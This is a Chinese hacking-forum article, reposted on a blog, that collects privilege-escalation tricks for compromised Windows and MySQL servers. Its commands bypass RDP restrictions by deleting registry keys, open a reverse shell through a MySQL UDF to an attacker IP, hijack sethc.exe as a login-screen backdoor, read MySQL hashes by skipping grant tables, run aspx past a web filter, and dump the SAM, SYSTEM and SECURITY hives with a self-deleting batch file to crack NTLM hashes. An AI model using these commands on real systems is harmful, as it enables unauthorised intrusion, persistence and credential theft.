• 对症下药 – 疑难杂症之提权技术


    社区:i春秋
    时间:2016年8月13日14.00
    作者:Binghe
     
    前言
    经常会有一些基友求提权,那么其实提权的手法也就那些,主要是细心和耐心,我记得‘七百斤的猴子’大表哥他整理过大概的提权技术,虽不是很全面,但很详细。
     
     
     
    本文简介
    渗透测试的环境千变万化,经常或遇到各种瓶颈,那么小编今天就自己的经验,来说说如何治疗那些提权中的疑难杂症。
     



    目录
    个人经验有限,暂时只列举下文例子
    • 0x01 安全软件限制远程连接
    • 0x02 udfcmdshell执行出错
    • 0x03 黑阔来过并做了服务器权限
    • 0x04 os-shell无回显状态
    • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash
    • 0x06 杀软防护一全套 毫无头绪
    • 0x07 提权虚拟主机但本站不支持aspx
     
    正文
    来,骚年,先喝下这罐82年的珍藏版乐事,变身老中医,专治各种疑难杂症
    • 0x01 安全软件限制远程连接
    连接终端服务经常遇到这样的情况
    此为SecureRDP软件的限制策略,国内有些主机商用的较多。经分析可知软件通过修改注册表键值来限制用户登录,于是乎解决办法不言而喻。
     
    #读取注册表值:
    reg query "HKEY_LOCAL_MACHINESoftwareTerminalsoftWTSFilter" /v tsdata
     
    #备份导出注册表项:
    regedit /e d:freehostjiqirenwebEditorjswts.reg "HKEY_LOCAL_MACHINESoftwareTerminalsoftWTSFilter"
     
    #删除注册表项:
    reg delete "HKEY_LOCAL_MACHINESoftwareTerminalsoftWTSFilter" /va /f
    再连接 ok
     



    • 0x02 udfcmdshell执行出错
    udf提权,创建cmdshell函数成功,
     
    select * from mysql.func;
    存在cmdshell
    执行cmd出现错误,原因不明,但已经研究出解决办法
    udf不只有cmdshell一个函数:
    • 1:Backshell
    create function backshell returns string soname 'udf.dll';
    本地监听
     
    nc.exe -l -p -vv 51
    远程反弹
     
    select backshell('yourip',51);
    • 2:downloader函数下载木马或者什么东西到启动项
    这个不必多言
    • 3:regwrite来劫持sethc
    创建函数
     
    Create Function regwrite returns string soname 'udf.dll';
    劫持sethc
     
    select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”,”debugger”,”REG_SZ”,”C:\recycler\cmd.exe”);
    登录界面5次shift弹出cmd
    • 0x03 黑阔来过并做了服务器权限
    亲身经历:getshell后各种提不下
    忽然发现有黑阔安装了伪装的后门
     



    既有shell,c:windowssystem32  目录虽不可上传修改,但可访问,当然可以下载,shift后门的原理我们都知道是替换的system32目录的sethc.exe
    于是乎下载sethc,OD爆菊之
     



    原来是他,军师黑阔,别来无恙乎?
    • 0x04  os-shell无回显状态
    亲身经历:无回显且命令执行不成功,菜刀可执行但权限不够且无法溢出
      无回显状态下上图选项输入no ,虽然无回显但命令已经运行



    • 0x05 存在mysql服务但找不到root密码且无法通过MYD文件拼凑出hash
    解决办法:
    本地搭建mysql,先停止本地mysql服务
    将下载的user.MYDuser.frm   user.MYI替换本地文件,然后
     
    cd mysqlbin
    mysqld-nt –skip-grant-tables
    重新打开一个cmd
     
    1
    2
    mysql -u root
    select user,password from mysql.user;
     
    • 0x06 提权虚拟主机但本站不支持aspx
    虚拟主机一般别妄想通过asp或php调用wscript.shell组件,但是.net可以直接执行cmd
    虚拟主机支持各种脚本,但我们拿到的shell不支持aspx
     



    解决办法:
    先备份根目录web.config  在全部替换成这样
     
    1
    2
    3
    4
    5
    <configuration>
          <system.web>
                <customErrors mode=”Off”/>
          </system.web>
    </configuration>
     
    再试试   看来是行了 但是有狗
     
     
    包含可以过
     
    <!–#include file=”4.aspx” –>
    于是可以执行命令
    • 0x07 杀软防护一全套 毫无头绪
    system权限了 由于各种防护提不下服务器的情况很多
    有时候我们想到getpass和mimikatz之类的工具来读明文
    但仍有 360 安全狗之类的 各种阻止
    解决方案:导出注册表破解hash
    写个批处理导出sam
     
    1
    2
    3
    4
    5
    @echo off
    reg save hklmsam sam.hive
    reg save hklmsystem system.hive
    reg save hklmsecurity security.hive
    del %0
    这个不会有杀软拦截
    webshell下执行批处理,这便在批处理的目录生成了三个文件
    然后我们使用CAIN打开保存到的system.hive和security.hive两个文件。
     
     


    加载后我们可以看到一些信息,这些信息可能会有明文密码,我这里是没有的。

     
     
     
    如果没有我们就需要抓HASH了。点击CAIN的Cracker选项卡,加载sam.hive文件。
     
     
     
     
    使用cain破解方式,确实是可以的,但是需要自己用彩虹表,就比较麻烦了,还是让在线的网站跑hash吧。关于hash注入,在取得hash的时候使用wce-s这个命令,一般情况这个hash都可以破解,超过14位的话就比较麻烦了。空密码的开头是AAD这个就不用破解了。密文类型是NTLM,推荐在线解密的网站:
    http://www.objectif-securite.ch/ophcrack.php
    http://www.cmd5.com/
    结语:
    实际情况千变万化,哪里有真正的总结。兵来将挡,水来土掩,如有问题可发到论坛讨论。
     
     
    来自:http://bbs.ichunqiu.com/thread-10038-1-1.html
  • 相关阅读:
    Dig out deleted chat messages of App Skype
    Search history in "Maps"
    如何对具有端点加密功能的LINE进行取证
    HttpHandler实现网页图片防盗链
    自定义文本验证控件
    MySQL查询本周、上周、本月、上个月份数据的sql代码
    org.hibernate.NonUniqueObjectException
    Struts2 中的值栈的理解
    struts2中struts.xml配置文件详解
    基于Struts自定义MVC-2
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/5768448.html
Copyright © 2020-2023  润新知